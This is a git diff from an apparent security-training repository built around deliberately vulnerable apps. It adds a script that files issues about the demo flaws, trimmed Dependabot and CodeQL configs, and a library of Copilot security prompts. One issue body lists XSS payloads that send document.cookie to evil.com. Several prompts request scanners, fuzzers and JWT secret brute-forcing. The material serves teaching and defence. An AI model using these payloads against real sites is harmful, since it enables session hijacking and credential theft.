diff --git a/.github/create-security-issues.sh b/.github/create-security-issues.sh new file mode 100755 index 0000000..0259cfc --- /dev/null +++ b/.github/create-security-issues.sh @@ -0,0 +1,297 @@ +#!/bin/bash +# Security Issues Creation Script +# Run with: bash .github/create-security-issues.sh + +set -e + +echo "Creating security issues for github-security-testbed..." + +# Issue 1: Session cookies lack httpOnly and secure flags +gh issue create \ + --title "[Security] NodeGoat: Session cookies lack httpOnly and secure flags" \ + --label "security,vulnerability,high-priority" \ + --assignee "timothywarner" \ + --body "$(cat <<'EOF' +## Description + +The NodeGoat application has session cookies configured without critical security flags, making them vulnerable to XSS-based session hijacking. + +## Location + +`NodeGoat/server.js:78-100` + +## Current Code + +```javascript +app.use(session({ + secret: cookieSecret, + saveUninitialized: true, + resave: true + // Missing: cookie: { httpOnly: true, secure: true } +})); +``` + +## Risk + +- **Severity**: High +- **OWASP**: A2:2017 - Broken Authentication +- **CWE**: CWE-614 (Sensitive Cookie in HTTPS Session Without Secure Attribute) + +## Remediation + +Add secure cookie configuration: + +```javascript +cookie: { + httpOnly: true, + secure: true, + sameSite: "strict", + maxAge: 3600000 +} +``` + +## Note + +This is intentionally vulnerable for training purposes but should be documented. +EOF +)" + +echo "✓ Created issue 1: Session cookies" + +# Issue 2: Helmet security middleware disabled +gh issue create \ + --title "[Security] NodeGoat: Helmet security middleware disabled" \ + --label "security,vulnerability,medium-priority" \ + --assignee "timothywarner" \ + --body "$(cat <<'EOF' +## Description + +Critical security headers are commented out in the NodeGoat server configuration, leaving the application vulnerable to clickjacking, MIME sniffing, and other attacks. + +## Location + +`NodeGoat/server.js:38-65` + +## Disabled Security Headers + +- `helmet.frameguard()` - Clickjacking protection +- `helmet.noCache()` - Cache poisoning protection +- `helmet.contentSecurityPolicy()` - XSS mitigation +- `helmet.hsts()` - HTTPS enforcement +- `nosniff()` - MIME type sniffing protection + +## Current Code + +```javascript +/* +// Fix for A5 - Security MisConfig +app.disable("x-powered-by"); +app.use(helmet.frameguard()); +app.use(helmet.noCache()); +app.use(helmet.contentSecurityPolicy()); +app.use(helmet.hsts()); +app.use(nosniff()); +*/ +``` + +## Risk + +- **Severity**: Medium +- **OWASP**: A6:2017 - Security Misconfiguration +- **CWE**: CWE-693 (Protection Mechanism Failure) + +## Remediation + +Uncomment and enable helmet middleware with appropriate configuration for the training environment. +EOF +)" + +echo "✓ Created issue 2: Helmet middleware" + +# Issue 3: IDOR vulnerability in document API +gh issue create \ + --title "[Security] IDOR vulnerability in document API allows unauthorized access" \ + --label "security,vulnerability,high-priority" \ + --assignee "timothywarner" \ + --body "$(cat <<'EOF' +## Description + +The IDOR demo application lacks proper authorization checks, allowing users to access documents belonging to other tenants by manipulating document IDs. + +## Location + +`lesson-01/demo-04-custom-scanners/idor-app/api/documents.js` + +## Attack Vector + +```bash +# Authenticated as user1, can access user2's documents +GET /api/documents/user2-doc-id +Authorization: Bearer +``` + +## Risk + +- **Severity**: High +- **OWASP**: A1:2017 - Broken Access Control +- **CWE**: CWE-639 (Authorization Bypass Through User-Controlled Key) + +## Impact + +- Unauthorized access to sensitive documents +- Data breach across tenant boundaries +- Potential for mass data exfiltration via ID enumeration + +## Remediation + +Add authorization middleware to verify document ownership: + +```javascript +const authorizeDocumentAccess = async (req, res, next) => { + const doc = await Document.findById(req.params.id); + if (doc.ownerId !== req.user.id) { + return res.status(403).json({ error: 'Access denied' }); + } + next(); +}; +``` + +## Note + +This is intentionally vulnerable for training. Add documentation warning and ensure it's not accidentally deployed. +EOF +)" + +echo "✓ Created issue 3: IDOR vulnerability" + +# Issue 4: Terraform state encryption +gh issue create \ + --title "[Security] Terraform state may contain sensitive data without encryption" \ + --label "security,infrastructure,medium-priority" \ + --assignee "timothywarner" \ + --body "$(cat <<'EOF' +## Description + +The Terraform configuration in lesson-02 does not configure remote state with encryption, potentially exposing infrastructure secrets if state files are stored remotely. + +## Location + +`lesson-02/demo-04-zero-trust/terraform/main.tf` + +## Missing Configuration + +The Terraform configuration lacks a backend block with encryption settings: + +```hcl +terraform { + required_version = ">= 1.0.0" + # Missing: backend with encryption +} +``` + +## Risk + +- **Severity**: Medium +- **CWE**: CWE-312 (Cleartext Storage of Sensitive Information) + +## Sensitive Data at Risk + +Terraform state files may contain: +- Database passwords +- API keys +- Private IP addresses +- Resource ARNs and IDs + +## Remediation + +Add backend configuration with encryption: + +```hcl +terraform { + backend "s3" { + bucket = "terraform-state-bucket" + key = "zero-trust/terraform.tfstate" + region = "us-east-1" + encrypt = true + kms_key_id = "alias/terraform-state-key" + dynamodb_table = "terraform-locks" + } +} +``` + +## Note + +For training purposes, consider adding this as a "secure vs insecure" comparison in the lesson materials. +EOF +)" + +echo "✓ Created issue 4: Terraform state" + +# Issue 5: XSS vulnerabilities via eval() and innerHTML +gh issue create \ + --title "[Security] Critical XSS vulnerabilities via eval() and innerHTML in demo code" \ + --label "security,vulnerability,critical" \ + --assignee "timothywarner" \ + --body "$(cat <<'EOF' +## Description + +The vulnerable React demo contains multiple XSS attack vectors including `eval()`, `innerHTML`, and `document.write()` that execute arbitrary JavaScript. + +## Locations + +`lesson-01/demo-03-xss/vulnerable-react-app/UserProfile.jsx`: + +| Line | Vulnerability | Function | +|------|--------------|----------| +| 58 | `innerHTML` assignment | `bioRef.current.innerHTML = bio` | +| 127 | `innerHTML` injection | `getElementById('search-results').innerHTML` | +| 156 | `eval()` code injection | `return eval(calculation)` | +| 165 | `document.write()` | `document.write(template)` | + +## Attack Payloads + +```javascript +// XSS via bio field + + + +// Code injection via calculator +1+1; fetch('https://evil.com?c='+document.cookie) +1; document.location='https://evil.com?c='+document.cookie + +// DOM clobbering + XSS +
+``` + +## Risk + +- **Severity**: Critical +- **OWASP**: A7:2017 - Cross-Site Scripting (XSS) +- **CWE**: CWE-79 (Improper Neutralization of Input During Web Page Generation) + +## Impact + +- Session hijacking via cookie theft +- Keylogging and credential theft +- Defacement and phishing +- Malware distribution + +## Remediation + +See `lesson-01/demo-03-xss/secure-react-app/UserProfile.jsx` for the secure implementation using: +- DOMPurify for HTML sanitization +- `textContent` instead of `innerHTML` +- Safe math parsing instead of `eval()` +- React's built-in XSS protection + +## Note + +This is the intentionally vulnerable version for training. Ensure clear labeling and never deploy to production environments. +EOF +)" + +echo "✓ Created issue 5: XSS vulnerabilities" + +echo "" +echo "✅ All 5 security issues created successfully!" +echo "View at: https://github.com/timothywarner-org/github-security-testbed/issues" diff --git a/.github/dependabot.yml b/.github/dependabot.yml index bd5c45d..810350b 100644 --- a/.github/dependabot.yml +++ b/.github/dependabot.yml @@ -1,292 +1,95 @@ # Dependabot Configuration # ========================= -# Comprehensive dependency management for security and version updates -# Documentation: https://docs.github.com/en/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file +# Simplified dependency management focusing on core packages +# Documentation: https://docs.github.com/en/code-security/dependabot version: 2 -registries: - # Add private registries here if needed - # npm-npmjs: - # type: npm-registry - # url: https://registry.npmjs.org - # token: ${{ secrets.NPM_TOKEN }} - updates: - # ========================================================================== - # GitHub Actions - Keep CI/CD workflows secure and up-to-date - # ========================================================================== + # GitHub Actions - Keep CI/CD workflows up-to-date - package-ecosystem: "github-actions" directory: "/" schedule: interval: "weekly" day: "monday" - time: "06:00" - timezone: "America/New_York" - open-pull-requests-limit: 10 + open-pull-requests-limit: 5 labels: - "dependencies" - "github-actions" - - "security/vulnerability" commit-message: prefix: "ci" - include: "scope" - reviewers: - - "timothywarner-org" groups: - # Group all GitHub Actions updates together github-actions: patterns: - "*" - update-types: - - "minor" - - "patch" - # ========================================================================== - # Root NPM Dependencies - Main project JavaScript/Node.js packages - # ========================================================================== + # NodeGoat - Node.js application - package-ecosystem: "npm" - directory: "/" + directory: "/NodeGoat" schedule: - interval: "daily" - time: "06:00" - timezone: "America/New_York" - open-pull-requests-limit: 15 + interval: "weekly" + day: "wednesday" + open-pull-requests-limit: 5 labels: - "dependencies" - "javascript" - - "security/vulnerability" commit-message: - prefix: "deps" - include: "scope" - reviewers: - - "timothywarner-org" - # Ignore intentionally vulnerable packages in demo apps + prefix: "deps(nodegoat)" ignore: + # Avoid major version updates that might break demos - dependency-name: "*" update-types: ["version-update:semver-major"] groups: - # Security-related packages - high priority - security-packages: - patterns: - - "helmet*" - - "express-rate-limit*" - - "bcrypt*" - - "jsonwebtoken*" - - "passport*" - - "cors" - - "csurf" - - "xss*" - - "sanitize*" - - "validator*" - update-types: - - "minor" - - "patch" - # Testing frameworks - testing: - patterns: - - "jest*" - - "mocha*" - - "chai*" - - "supertest*" - - "cypress*" - - "@testing-library/*" - update-types: - - "minor" - - "patch" - # Linting and code quality - linting: - patterns: - - "eslint*" - - "prettier*" - - "@typescript-eslint/*" - - "eslint-plugin-*" - update-types: - - "minor" - - "patch" - # Development dependencies - dev-dependencies: + npm-minor-patch: patterns: - - "nodemon*" - - "typescript*" - - "ts-node*" - - "@types/*" + - "*" update-types: - "minor" - "patch" - # ========================================================================== - # NodeGoat - Intentionally Vulnerable Node.js Application - # ========================================================================== - - package-ecosystem: "npm" - directory: "/NodeGoat" - schedule: - interval: "weekly" - day: "wednesday" - time: "06:00" - timezone: "America/New_York" - open-pull-requests-limit: 5 - labels: - - "dependencies" - - "javascript" - - "nodegoat" - - "lesson-01" - commit-message: - prefix: "deps(nodegoat)" - include: "scope" - # Only update non-vulnerable demo dependencies - # Some vulnerabilities are intentional for training - allow: - - dependency-type: "development" - - dependency-type: "production" - ignore: - # Intentionally keeping some packages at vulnerable versions for demos - - dependency-name: "marked" - versions: ["< 4.0.0"] - - dependency-name: "mongoose" - versions: ["< 6.0.0"] - - # ========================================================================== - # WebGoat - Intentionally Vulnerable Java Application - # ========================================================================== + # WebGoat - Java/Maven application - package-ecosystem: "maven" directory: "/WebGoat" schedule: interval: "weekly" day: "wednesday" - time: "06:00" - timezone: "America/New_York" open-pull-requests-limit: 5 labels: - "dependencies" - "java" - - "webgoat" - - "maven" commit-message: prefix: "deps(webgoat)" - include: "scope" - reviewers: - - "timothywarner-org" - - # ========================================================================== - # Lesson 01 - Vulnerability Detection Demos - # ========================================================================== - - package-ecosystem: "npm" - directory: "/lesson-01/demo-03-xss/secure-react-app" - schedule: - interval: "weekly" - day: "thursday" - time: "06:00" - timezone: "America/New_York" - open-pull-requests-limit: 3 - labels: - - "dependencies" - - "javascript" - - "lesson-01" - - "security/xss" - commit-message: - prefix: "deps(lesson-01)" - - - package-ecosystem: "npm" - directory: "/lesson-01/demo-04-custom-scanners/scanner" - schedule: - interval: "weekly" - day: "thursday" - time: "06:00" - timezone: "America/New_York" - open-pull-requests-limit: 3 - labels: - - "dependencies" - - "javascript" - - "lesson-01" - - "tool/sast" - commit-message: - prefix: "deps(lesson-01)" - - - package-ecosystem: "npm" - directory: "/lesson-01/demo-04-custom-scanners/idor-app" - schedule: - interval: "weekly" - day: "thursday" - time: "06:00" - timezone: "America/New_York" - open-pull-requests-limit: 3 - labels: - - "dependencies" - - "javascript" - - "lesson-01" - commit-message: - prefix: "deps(lesson-01)" + ignore: + # Avoid major version updates + - dependency-name: "*" + update-types: ["version-update:semver-major"] + groups: + maven-minor-patch: + patterns: + - "*" + update-types: + - "minor" + - "patch" - # ========================================================================== - # Docker - Container image updates - # ========================================================================== + # Docker images - package-ecosystem: "docker" directory: "/NodeGoat" schedule: - interval: "weekly" - day: "friday" - time: "06:00" - timezone: "America/New_York" - open-pull-requests-limit: 3 + interval: "monthly" + open-pull-requests-limit: 2 labels: - "dependencies" - "docker" - - "security/vulnerability" commit-message: - prefix: "docker" - include: "scope" + prefix: "docker(nodegoat)" - package-ecosystem: "docker" directory: "/WebGoat" schedule: - interval: "weekly" - day: "friday" - time: "06:00" - timezone: "America/New_York" - open-pull-requests-limit: 3 + interval: "monthly" + open-pull-requests-limit: 2 labels: - "dependencies" - "docker" - - "security/vulnerability" - commit-message: - prefix: "docker" - include: "scope" - - # ========================================================================== - # Terraform - Infrastructure as Code updates - # ========================================================================== - - package-ecosystem: "terraform" - directory: "/lesson-02/demo-04-zero-trust/terraform" - schedule: - interval: "weekly" - day: "friday" - time: "06:00" - timezone: "America/New_York" - open-pull-requests-limit: 3 - labels: - - "dependencies" - - "terraform" - - "tool/terraform" - - "lesson-02" - commit-message: - prefix: "terraform" - include: "scope" - - - package-ecosystem: "terraform" - directory: "/lesson-05/demo-01-iac-templates/hardened" - schedule: - interval: "weekly" - day: "friday" - time: "06:00" - timezone: "America/New_York" - open-pull-requests-limit: 3 - labels: - - "dependencies" - - "terraform" - - "tool/terraform" - - "lesson-05" - - "security/compliance" commit-message: - prefix: "terraform" - include: "scope" + prefix: "docker(webgoat)" diff --git a/.github/workflows/codeql.yml b/.github/workflows/codeql.yml index 9235be7..0f1e542 100644 --- a/.github/workflows/codeql.yml +++ b/.github/workflows/codeql.yml @@ -1,17 +1,16 @@ # CodeQL Security Analysis # ========================= -# Automated code scanning for security vulnerabilities -# Documentation: https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors +# Automated code scanning for JavaScript/TypeScript vulnerabilities +# Documentation: https://docs.github.com/en/code-security/code-scanning name: CodeQL on: push: - branches: [main, develop] + branches: [main] pull_request: branches: [main] schedule: - # Run weekly on Sundays at midnight - cron: '0 0 * * 0' workflow_dispatch: @@ -21,26 +20,14 @@ concurrency: jobs: analyze: - name: Analyze (${{ matrix.language }}) + name: Analyze JavaScript runs-on: ubuntu-latest - timeout-minutes: 360 + timeout-minutes: 30 permissions: security-events: write - packages: read actions: read contents: read - strategy: - fail-fast: false - matrix: - include: - - language: javascript-typescript - build-mode: none - # Covers JavaScript, TypeScript, and JSX/TSX - - language: java-kotlin - build-mode: none - # Covers Java and Kotlin (WebGoat) - steps: - name: Checkout repository uses: actions/checkout@v4 @@ -48,36 +35,10 @@ jobs: - name: Initialize CodeQL uses: github/codeql-action/init@v3 with: - languages: ${{ matrix.language }} - build-mode: ${{ matrix.build-mode }} - # Security-extended includes more security queries - queries: +security-extended,security-and-quality - - # For Java, we may need to build - - name: Setup Java (for Java analysis) - if: matrix.language == 'java-kotlin' - uses: actions/setup-java@v4 - with: - distribution: 'temurin' - java-version: '21' - cache: 'maven' - - - name: Build Java (if needed) - if: matrix.language == 'java-kotlin' && matrix.build-mode == 'manual' - working-directory: ./WebGoat - run: mvn clean compile -DskipTests -q + languages: javascript-typescript + queries: security-extended - name: Perform CodeQL Analysis uses: github/codeql-action/analyze@v3 with: - category: "/language:${{ matrix.language }}" - output: sarif-results - upload: always - - - name: Upload SARIF results - uses: actions/upload-artifact@v4 - if: always() - with: - name: codeql-results-${{ matrix.language }} - path: sarif-results - retention-days: 30 + category: "/language:javascript-typescript" diff --git a/COPILOT_SECURITY_PROMPTS.md b/COPILOT_SECURITY_PROMPTS.md new file mode 100644 index 0000000..79292dc --- /dev/null +++ b/COPILOT_SECURITY_PROMPTS.md @@ -0,0 +1,666 @@ +# GitHub Copilot Security Prompts Library + +> A comprehensive collection of security-focused prompts for GitHub Copilot Chat. +> Use these to detect vulnerabilities, generate secure code, and automate security workflows. + +--- + +## Table of Contents + +- [Lesson 1: Vulnerability Detection](#lesson-1-vulnerability-detection) +- [Lesson 2: Security Protocols](#lesson-2-security-protocols) +- [Lesson 3: Automated Security Testing](#lesson-3-automated-security-testing) +- [Lesson 4: Code Review & Threat Modeling](#lesson-4-code-review--threat-modeling) +- [Lesson 5: Compliance & Incident Response](#lesson-5-compliance--incident-response) +- [Bonus: Advanced Security Prompts](#bonus-advanced-security-prompts) + +--- + +## Lesson 1: Vulnerability Detection + +### SQL Injection Detection + +``` +Scan this codebase for SQL injection vulnerabilities. Focus on: +1. String concatenation in SQL queries +2. Unsanitized user input in WHERE clauses +3. Dynamic query building without parameterization +4. ORM queries using raw SQL +5. Stored procedures with dynamic SQL +6. ORDER BY and LIMIT clauses with user input + +For each finding: show vulnerable code, explain attack vector, provide parameterized alternative, rate severity, include CWE reference. +``` + +``` +@workspace Analyze all JavaScript files for SQL injection. Show vulnerable lines and fixes. +``` + +``` +Perform a SQL injection security audit on this repository: +1. Find all database query patterns +2. Trace user input to query construction +3. Identify injection points +4. Prioritize by risk (auth bypass > data leak > DoS) +5. Generate fix recommendations with code examples +``` + +### XSS Detection + +``` +Analyze this codebase for XSS vulnerabilities. Identify: +1. All uses of dangerouslySetInnerHTML (React) +2. innerHTML assignments without sanitization +3. document.write() with user data +4. eval() and new Function() with user input +5. URL parameters rendered without encoding +6. href/src attributes with javascript: protocol potential +7. Event handler attributes built from user data + +For each finding: show vulnerable code, explain XSS type (Stored/Reflected/DOM-based), provide example payload, show sanitized alternative. +``` + +``` +@workspace Scan all React components for XSS vulnerabilities. Focus on dangerouslySetInnerHTML, unsanitized props, URL parameter handling. +``` + +``` +Analyze client-side JavaScript for DOM-based XSS: +1. Find all uses of location.hash, location.search +2. Track data flow to DOM sinks (innerHTML, document.write) +3. Identify missing sanitization +4. Check event handler assignments +``` + +### Custom Security Scanners + +``` +Build a custom IDOR vulnerability scanner for a multi-tenant SaaS API. +The scanner should: +1. Accept auth tokens for multiple tenants (A and B) +2. Attempt cross-tenant resource access +3. Detect successful unauthorized access (200 response with data) +4. Generate findings with severity ratings and remediation steps + +Test endpoints: GET /api/documents/:id, GET /api/users/:id, POST /api/batch-export +``` + +``` +Generate a race condition scanner for e-commerce operations. +Test scenarios: +1. Coupon code redemption - detect if single-use codes can be reused +2. Balance withdrawal - detect if users can overdraw accounts +3. Inventory purchase - detect if items can be oversold + +Send 50 concurrent requests, analyze for successful exploitation. +``` + +``` +Create a scanner to test for authentication bypass vulnerabilities: +1. JWT algorithm confusion (none algorithm) +2. JWT secret brute force (common secrets list) +3. Session fixation +4. Password reset token predictability +5. OAuth state parameter validation +``` + +--- + +## Lesson 2: Security Protocols + +### OAuth 2.0 & PKCE + +``` +Create OAuth 2.0 authorization server with PKCE support using Express +``` + +``` +Verify PKCE code_challenge against code_verifier using SHA-256 +``` + +``` +Implement secure refresh token rotation with family tracking +``` + +``` +Generate OpenID Connect ID token with required claims including auth_time, nonce, and at_hash +``` + +### JWT Security + +``` +Generate JWT token with proper claims and RS256 signing. Include: iss, sub, aud, exp (15 min), iat, jti +``` + +``` +Verify JWT with issuer, audience, and algorithm validation. Prevent algorithm confusion attacks. +``` + +``` +Create JWT middleware that: +1. Validates signature against public key +2. Checks expiration and not-before claims +3. Verifies issuer and audience +4. Extracts user context for downstream handlers +``` + +### Cryptography + +``` +Encrypt data using AES-256-GCM with secure IV generation +``` + +``` +Derive encryption key from password using PBKDF2 with PCI-DSS compliance (600,000+ iterations, SHA-512) +``` + +``` +Generate cryptographically secure token for API authentication (32+ bytes entropy) +``` + +``` +Create and verify HMAC for message authentication with timing-safe comparison +``` + +``` +Add Argon2id for password hashing with OWASP recommended parameters +``` + +### Zero Trust Architecture + +``` +Create Terraform config for zero trust network segmentation on AWS with: +- Private subnets only +- Network ACLs with explicit deny-all +- Security groups following least privilege +- VPC endpoints for AWS services +- VPC Flow Logs +``` + +``` +Configure Istio service mesh for zero trust mTLS between all services +``` + +``` +Create Istio authorization policy that only allows payment-service to receive requests from order-service on POST /payments/process +``` + +``` +Configure Istio request authentication with JWT validation from identity provider +``` + +``` +Configure circuit breaker that ejects hosts after 5 consecutive 5xx errors +``` + +--- + +## Lesson 3: Automated Security Testing + +### Security Unit Tests + +``` +Generate comprehensive OAuth security tests for PKCE flow including: +- Code challenge validation +- Redirect URI attack prevention +- Authorization code replay prevention +- State parameter CSRF protection +``` + +``` +Create security unit tests for this authentication endpoint covering: +- Brute force protection +- Account lockout +- Password complexity +- Session management +- Token expiration +``` + +### Fuzzing + +``` +Create fuzzing test harness for API input validation with mutation strategies for SQL injection, XSS, and command injection payloads +``` + +``` +Build a mutation-based fuzzer that: +1. Takes seed inputs from corpus +2. Applies bit flip, byte replace, insert, delete mutations +3. Includes security-focused dictionaries +4. Detects crashes and hangs +5. Reports findings with reproduction steps +``` + +### SAST/DAST + +``` +Create Semgrep rules for detecting security vulnerabilities including SQL injection, XSS, command injection, and hardcoded credentials +``` + +``` +Build a DAST scanner that tests for: +1. SQL injection with time-based blind detection +2. XSS with polyglot payloads +3. Missing security headers +4. SSRF via URL parameters +5. Authentication bypass +``` + +### CI/CD Security + +``` +Create GitHub Actions workflow for comprehensive security testing with: +1. Secret detection (TruffleHog) +2. Dependency scanning (npm audit) +3. SAST (Semgrep, CodeQL) +4. Container scanning (Trivy) +5. IaC scanning (Checkov) +6. Security gate that fails on critical findings +``` + +--- + +## Lesson 4: Code Review & Threat Modeling + +### Security Code Review + +``` +Review this authentication code for security vulnerabilities including timing attacks, credential handling, and session management +``` + +``` +Check for OWASP Top 10 issues in this API endpoint +``` + +``` +Analyze this code for race conditions and timing attacks +``` + +``` +Review this file upload handler for: +1. Path traversal vulnerabilities +2. File type validation bypass +3. Size limit enforcement +4. Malicious content scanning +``` + +### Threat Modeling + +``` +Create STRIDE threat model for this authentication flow +``` + +``` +Identify attack vectors for this microservice architecture +``` + +``` +Generate threat model for this payment processing system covering: +1. Spoofing threats to user identity +2. Tampering threats to transaction data +3. Repudiation threats to audit logs +4. Information disclosure of PII/PCI data +5. Denial of service vectors +6. Elevation of privilege paths +``` + +``` +Create attack tree for account takeover scenario +``` + +### Compliance & Reporting + +``` +Generate compliance report for OWASP Top 10 and PCI-DSS requirements +``` + +``` +Create security audit checklist for SOC 2 Type II compliance +``` + +``` +Map these findings to CWE identifiers and CVSS scores +``` + +--- + +## Lesson 5: Compliance & Incident Response + +### Infrastructure as Code + +``` +Create secure Terraform configuration for EC2 with CIS benchmarks including: +- Encrypted root volume with KMS +- IMDSv2 required +- Private subnet placement +- Least privilege IAM role +- Security group with minimal ingress +``` + +``` +Generate hardened S3 bucket configuration with: +- Server-side encryption (SSE-KMS) +- Block public access +- Versioning enabled +- Access logging +- Lifecycle policies +``` + +### Compliance Checking + +``` +Create CIS benchmark compliance checker for AWS resources covering IAM, S3, CloudTrail, VPC +``` + +``` +Build NIST 800-53 control validator for this infrastructure +``` + +``` +Generate PCI-DSS requirement checklist for this payment application +``` + +### STIG Remediation + +``` +Create STIG remediation script for Linux hardening covering: +- SSH hardening (no root login, protocol 2, idle timeout) +- Password policies (complexity, history, lockout) +- Audit configuration +- File permissions +- FIPS mode +``` + +### Incident Response + +``` +Create incident response automation playbook for compromised EC2 instance: +1. Detect: Collect instance metadata and user activity +2. Contain: Isolate instance, disable access keys +3. Collect: Create forensic snapshots, preserve logs +4. Notify: Alert security team via Slack/PagerDuty +5. Document: Generate incident timeline +``` + +``` +Build automated response for GuardDuty findings that: +1. Parses finding type and severity +2. Executes appropriate containment +3. Preserves evidence to S3 +4. Creates incident ticket +5. Notifies on-call +``` + +--- + +## Bonus: Advanced Security Prompts + +### API Security + +``` +Generate API security test suite for this REST API covering: +1. Authentication bypass attempts +2. Authorization boundary testing +3. Rate limiting verification +4. Input validation (all OWASP categories) +5. Response data leakage +6. Mass assignment vulnerabilities +7. BOLA/IDOR testing +``` + +``` +Create API gateway security configuration with: +- Request validation +- Rate limiting per client +- JWT validation +- IP allowlisting +- Request/response logging +- WAF rules +``` + +``` +Build GraphQL security scanner that tests for: +1. Introspection exposure +2. Query depth attacks +3. Batch query abuse +4. Authorization bypass via nested queries +5. Field-level injection +``` + +### Container Security + +``` +Create Dockerfile security best practices checker that detects: +1. Running as root +2. Using latest tag +3. Exposing unnecessary ports +4. Hardcoded secrets +5. Missing health checks +6. Unverified base images +``` + +``` +Generate Kubernetes security policies (PSP/PSA) for: +1. Non-root containers +2. Read-only filesystem +3. Dropped capabilities +4. Network policies +5. Resource limits +``` + +``` +Create container runtime security monitoring with: +1. Syscall filtering (seccomp) +2. File integrity monitoring +3. Network anomaly detection +4. Process execution logging +``` + +### Cloud Security + +``` +Build AWS security audit script covering: +1. Public S3 buckets +2. Overly permissive security groups +3. Unencrypted EBS volumes +4. IAM users without MFA +5. Unused access keys +6. CloudTrail disabled regions +7. Default VPC usage +``` + +``` +Create Azure security posture assessment for: +1. Storage account public access +2. NSG rule analysis +3. Key Vault access policies +4. Azure AD conditional access gaps +5. Defender for Cloud recommendations +``` + +``` +Generate GCP security checklist covering: +1. Service account key rotation +2. VPC firewall rules +3. Cloud Storage bucket ACLs +4. IAM policy bindings +5. Cloud Audit Logs configuration +``` + +### Secure Development + +``` +Create secure coding guidelines document for this project covering: +1. Input validation patterns +2. Output encoding requirements +3. Authentication best practices +4. Session management +5. Cryptographic standards +6. Error handling (no sensitive data in errors) +7. Logging requirements (audit trail) +``` + +``` +Generate security requirements from these user stories for threat-driven development +``` + +``` +Create pre-commit hooks that check for: +1. Hardcoded secrets (API keys, passwords) +2. SQL injection patterns +3. XSS vulnerable code +4. Insecure dependencies +5. Debug code left in +``` + +### Penetration Testing + +``` +Generate penetration test plan for this web application covering reconnaissance, scanning, exploitation, and reporting phases +``` + +``` +Create automated recon script that: +1. Enumerates subdomains +2. Scans for open ports +3. Fingerprints technologies +4. Discovers exposed files/directories +5. Checks for known CVEs +``` + +``` +Build exploitation validation script that safely confirms these vulnerabilities: +1. SQL injection (time-based confirmation) +2. XSS (DOM observation) +3. SSRF (callback server) +4. XXE (OOB data exfiltration) +``` + +### Security Automation + +``` +Create security chatbot that: +1. Answers security policy questions +2. Triages security reports +3. Provides remediation guidance +4. Escalates critical issues +``` + +``` +Build automated vulnerability prioritization system using: +1. CVSS score +2. Asset criticality +3. Exploit availability +4. Network exposure +5. Data sensitivity +``` + +``` +Generate security metrics dashboard data collector for: +1. Mean time to detect (MTTD) +2. Mean time to respond (MTTR) +3. Vulnerability aging +4. Patch compliance +5. Security training completion +``` + +### Forensics & Investigation + +``` +Create log analysis queries for detecting: +1. Brute force attacks +2. Privilege escalation +3. Data exfiltration +4. Lateral movement +5. Persistence mechanisms +``` + +``` +Build memory forensics script that: +1. Captures volatile data +2. Lists running processes +3. Extracts network connections +4. Identifies injected code +5. Recovers encryption keys +``` + +``` +Generate timeline reconstruction script from: +1. System logs +2. Application logs +3. Network captures +4. File system metadata +5. Registry (Windows) +``` + +### Security Training + +``` +Create interactive security training module for developers covering: +1. OWASP Top 10 with code examples +2. Secure coding challenges +3. Vulnerability identification quiz +4. Fix-the-code exercises +``` + +``` +Generate phishing awareness training content with: +1. Example phishing emails +2. Red flags to identify +3. Reporting procedures +4. Safe link verification +``` + +``` +Build capture-the-flag challenge for: +1. SQL injection (beginner to advanced) +2. XSS (reflected, stored, DOM) +3. Authentication bypass +4. Cryptographic attacks +5. Reverse engineering +``` + +--- + +## Quick Reference Card + +### Detection Prompts +| Vulnerability | Prompt Start | +|--------------|--------------| +| SQL Injection | "Scan for SQL injection focusing on string concatenation..." | +| XSS | "Analyze for XSS including innerHTML, dangerouslySetInnerHTML..." | +| IDOR | "Test for insecure direct object references in API endpoints..." | +| Auth Bypass | "Check authentication for bypass vulnerabilities..." | +| SSRF | "Identify server-side request forgery in URL handling..." | + +### Generation Prompts +| Asset | Prompt Start | +|-------|--------------| +| Secure API | "Create Express API with authentication, rate limiting..." | +| JWT Handler | "Generate JWT middleware with RS256, issuer validation..." | +| Terraform | "Create CIS-compliant Terraform for AWS..." | +| Security Tests | "Generate security test suite covering OWASP Top 10..." | +| IR Playbook | "Create incident response automation for..." | + +### Review Prompts +| Focus | Prompt Start | +|-------|--------------| +| Code Review | "Review this code for security vulnerabilities..." | +| Threat Model | "Create STRIDE threat model for..." | +| Compliance | "Check compliance with CIS/NIST/PCI-DSS..." | +| Architecture | "Identify attack vectors in this architecture..." | + +--- + +## Tips for Effective Security Prompts + +1. **Be Specific**: Include vulnerability types, frameworks, and compliance standards +2. **Request Structure**: Ask for JSON output, severity ratings, CWE references +3. **Provide Context**: Mention the tech stack, threat model, and compliance requirements +4. **Ask for Examples**: Request attack payloads and secure code alternatives +5. **Iterate**: Use follow-up prompts to drill deeper into findings +6. **Verify**: Always validate Copilot's suggestions against known security standards + +--- + +*Happy Secure Coding!* diff --git a/README.md b/README.md index f4012aa..04a608f 100644 --- a/README.md +++ b/README.md @@ -1,8 +1,7 @@ # GitHub Copilot for Cybersecurity Specialists -[![Security Pipeline](https://github.com/timothywarner-org/github-security-testbed/actions/workflows/security-pipeline.yml/badge.svg)](https://github.com/timothywarner-org/github-security-testbed/actions/workflows/security-pipeline.yml) -[![CodeQL](https://github.com/timothywarner-org/github-security-testbed/actions/workflows/codeql.yml/badge.svg)](https://github.com/timothywarner-org/github-security-testbed/actions/workflows/codeql.yml) -[![Dependency Review](https://github.com/timothywarner-org/github-security-testbed/actions/workflows/dependency-review.yml/badge.svg)](https://github.com/timothywarner-org/github-security-testbed/actions/workflows/dependency-review.yml) +[![Security Pipeline](https://github.com/timothywarner-org/github-security-testbed/actions/workflows/security-pipeline.yml/badge.svg?branch=main)](https://github.com/timothywarner-org/github-security-testbed/actions/workflows/security-pipeline.yml) +[![CodeQL](https://github.com/timothywarner-org/github-security-testbed/actions/workflows/codeql.yml/badge.svg?branch=main)](https://github.com/timothywarner-org/github-security-testbed/actions/workflows/codeql.yml) [![Course Duration](https://img.shields.io/badge/Duration-3.5%20Hours-blue)](README.md) [![Lessons](https://img.shields.io/badge/Lessons-5-green)](README.md)